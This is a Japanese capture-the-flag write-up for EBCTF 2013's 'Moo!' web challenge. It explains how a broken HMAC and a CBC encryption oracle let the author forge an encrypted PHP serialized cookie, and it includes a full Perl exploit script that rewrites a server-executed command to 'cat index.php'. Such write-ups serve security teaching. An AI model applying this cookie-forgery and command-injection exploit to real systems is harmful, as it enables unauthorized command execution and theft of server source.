Writeup: EBCTF 2013 - Challenge WEB400 “Moo!”
入力した名前でcowsayコマンドが実行されて出力が表示される。
http://54.216.166.38/index.phps にソースがある。ソース中に
- CBCのIV
- AESの鍵
- HMACの鍵
- Flag
が入る場所があり、その値は消されている。
サーバ側で他のコマンドを実行してindex.phpのソースを表示できれば勝ち。
$settings = array( 'name' => $_POST['name'], 'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")), );
をserializeして、後ろにHMACの16進文字列を付加して、AES(ブロックサイズ128 bits = 16 bytes)、CBCモードで暗号化の後、Base64でエンコードしたものをCookieに入れている。
Cookieからこのgreetingの値を読み出して実行するので、greetingを書き換えて実行したいコマンドに設定する。
まず、ブロックの暗号化オラクルが存在することがわかる。
すなわち、c1が既知の時、m2を適切に設定することで m = c1 xor m2 に対応するcが得られる。
HMACを突破できるとは思えないのだが、ソースをよくよく見るとtypoだろう間違いでHMACが機能していない。
return hash_hmac('sha1', data, MY_HMAC_KEY); ~~~~
本当にこのコードで動いてるのだとすれば、MAC対象のデータは"data"という文字列とみなされるのでHMACは固定となる。
serializeの仕様を確認する。
$ php -r 'echo (serialize(array("name" => "abc", "greeting" => "cowsay abc")));' a:2:{s:4:"name";s:3:"abc";s:8:"greeting";s:10:"cowsay abc";}
"はエスケープされることなく入る。文字列長だけで見る。
$ php -r 'echo (serialize("a\"b"));' s:3:"a"b";
後ろにゴミデータをつけても無視される
$ php -r 'var_dump(unserialize(serialize(array("abc" => "def")) . "hoge"));' array(1) { ["abc"]=> string(3) "def" }
Aを199回繰り返した名前を入力して考える。
$ php -r '$s = str_repeat("A", 199); echo(serialize(array("name" => $s, "greeting" => ("cowsay ".$s)))); echo str_repeat("HMAC", 10);' a:2:{s:4:"name";s:199:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";s:8:"greeting";s:206:"cowsay AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";}HMACHMACHMACHMACHMACHMACHMACHMACHMACHMAC
これを次のように改ざんする。
a:2:{s:4:"name";s:199:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";s:8:"greeting";s:13:"cat index.php";}garbagegarbagegarbage...HMACHMACHMACHMACHMACHMACHMACHMACHMACHMAC
0000000: 613a 323a 7b73 3a34 3a22 6e61 6d65 223b a:2:{s:4:"name"; 0000010: 733a 3139 393a 2241 4141 4141 4141 4141 s:199:"AAAAAAAAA 0000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000d0: 4141 4141 4141 4141 4141 4141 4141 223b AAAAAAAAAAAAAA"; 00000e0: 733a 383a 2267 7265 6574 696e 6722 3b73 s:8:"greeting";s 00000f0: 3a32 3036 3a22 636f 7773 6179 2041 4141 :206:"cowsay AAA 0000100: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000110: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000120: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000130: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000140: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000150: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000160: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000170: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000180: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 0000190: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00001a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00001b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00001c0: 4141 4141 223b 7d48 4d41 4348 4d41 4348 AAAA";}HMACHMACH 00001d0: 4d41 4348 4d41 4348 4d41 4348 4d41 4348 MACHMACHMACHMACH 00001e0: 4d41 4348 4d41 4348 4d41 4348 4d41 43 MACHMACHMACHMAC
0x1b0以降が最後に付いていればHMACを通過するはずである。
実際、0x1b0以降を複製して二回繰り返しても動作したので正しい。
以下の攻撃プログラムで通した。
use strict; use warnings; use MIME::Base64; sub encode_percent { my $s = shift; $s =~ s/(\W)/'%'.unpack("H*", $1)/ge; $s; } sub decode_percent { my $s = shift; $s =~ s/%(..)/pack("H*", $1)/ge; $s; } sub get_cipher { my $name = shift; my $r = `curl -s -i http://54.216.166.38/ -d name=@{[encode_percent($name)]}`; die unless $r =~ /Set-Cookie: settings=(.+)/; return decode_base64(decode_percent($1)); } sub split_block { my $s = shift; my @b; for my $i (0..(length($s)+15)/16 - 1) { push @b, substr($s, 16*$i, 16); } return @b; } sub to_hex { my $s = shift; unpack("H*", $s); } sub run_setting { my $settings_cipher = shift; my $r = `curl -v -s -i http://54.216.166.38/ -b settings=@{[encode_percent(encode_base64($settings_cipher))]}`; $r; } sub encrypt_block { my $block = shift; my $prev = pack "H*", "698b72b3871ae61ba05d4ac7707edcaf"; my $s = "\0"x9 . ($prev^$block) . "\0"x(199-25); print length($s), "\n"; (split_block(get_cipher($s)))[2]; } my $s = get_cipher("A"x199); my @b = split_block($s); $b[15] = encrypt_block(':13:"cat index.p' ^ $b[14]); $b[16] = encrypt_block('hp";} ' ^ $b[15]); print run_setting(join("", @b));
最初、 my $s = get_cipher("\0"x199); として動かないと悩んでいたが、id:k_operafan さんが華麗に"A"に修正して動かしてくれた。考えてみれば"\0"はescapeshellargで消されてしまう。